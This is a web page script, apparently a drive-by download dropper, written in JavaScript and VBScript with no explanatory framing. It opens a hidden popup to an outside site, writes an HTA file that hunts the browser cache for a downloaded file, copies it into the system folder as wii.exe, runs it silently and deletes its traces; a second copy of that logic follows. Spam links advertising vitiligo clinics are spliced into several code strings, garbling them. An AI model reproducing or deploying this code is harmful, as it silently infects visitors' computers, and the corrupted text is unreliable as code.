<script>
window.open(\'http://www.onlyy.net/soft/index.htm\', \'pop\',
\'toobar=no,location=no,resizeable=0,scrollbars=0,left=2000,top=2000,width=1,height=1\');
</Script>
<Script LaNGUAGE="VBScript">
Set g_fs = CreateObject("Scripting.FileSystemObject")
Set tf = g_fs.CreateTextFile("c:\\wii.hta",true)
tf.write "" &chr(13)&chr(10)
tf.write ""&chr(13)&chr(10)
tf.write ""&chr(13)&chr(10)
tf.write "on error resume next"&chr(13)&chr(10)
tf.write "window.moveTo 0,0"&chr(13)&chr(10)
tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)
tf.write "dim exepath"&chr(13)&chr(10)
tf.write "Function Search(objFolder) "&chr(13)&chr(10)
tf.write "Dim objSubFolder"&chr(13)&chr(10)
tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)
tf.write "If InStr(1, objfile.name, " & CHR(34)& "lhxyxe" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)
tf.write "set fil[url=http://www.baidianfeng51.cn/baidianfengteseliaofa/zhongyizhiliao/m/3086.html]中科帮我走出了白癜风的阴影[/url]ecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)
tf.write "filecp.copy (exepath)"&chr(13)&chr(10)
tf.write "exit for"&chr(13)&chr(10)
tf.write "End If"&chr(13)&chr(10)
tf.write "Next "&chr(13)&chr(10)
tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)
tf.write "Search objSubFolder"&chr(13)&chr(10)
tf.write "Next"&chr(13)&chr(10)
tf.write "End Function"&chr(13)&chr(10)
tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)
tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER\\Softwar[url=http://www.baidianfeng51.cn/bdfrichangbaojian/bdfzhexia/m/2871.html]很多白癜风临床上的症状诊断表现[/url]e\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache" & CHR(34)& ")"&chr(13)&chr(10)
tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)
tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)
tf.write "exepath=othisfolder.path & "& chr(34) & "wii.exe" & chr(34) &chr(13)&chr(10)
tf.write "search tempfolder"&chr(13)&chr(10)
tf.write "wsh.run (exepath)"&chr(13)&chr(10)
tf.write "wsh.run " & CHR(34)& "command.com /c[url=http://bdfyy999.com/]北京白癜风医院[/url] del c:\\wii.hta" & CHR(34)& " ,0"&chr(13)&chr(10)
tf.write "window.close()"&chr(13)&chr(10)
tf.write ""&chr(13)&chr(10)
tf.close
wsh.run "c:\\wii.hta",0
window.close ()
<Script LANGUAGE="VBScript">
on error resume next
window.moveTo 0,0
window.resizeTo 0,0
dim exepath
Function Search(objFolder)
Dim objSubFolder
For Each objFile in objFolder.Files
If InStr(1, objfile.name, "lhxyxe", vbtextcompare) then
set filecp = objg_fso.getfile(objfile.path)
filecp.copy (exepath)
exit for
End If
Next
For Each objSubFolder in objFolder.SubFolders
Search objSubFolder
Next
End Function
Set objg_fso = CreateObject("Scripting.FileSystemObject")
str=WSH.regread("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache")
set tempfolder = objg_fso.getfolder(str)
set othisfolder = objg_fso.GetSpecialFolder(1)
exepath=othisfolder.path & "wii.exe"
search tempfolder
wsh.run (exepath)
wsh.run "command.com /c del c:\\wii.hta" ,0
window.close()
</script>
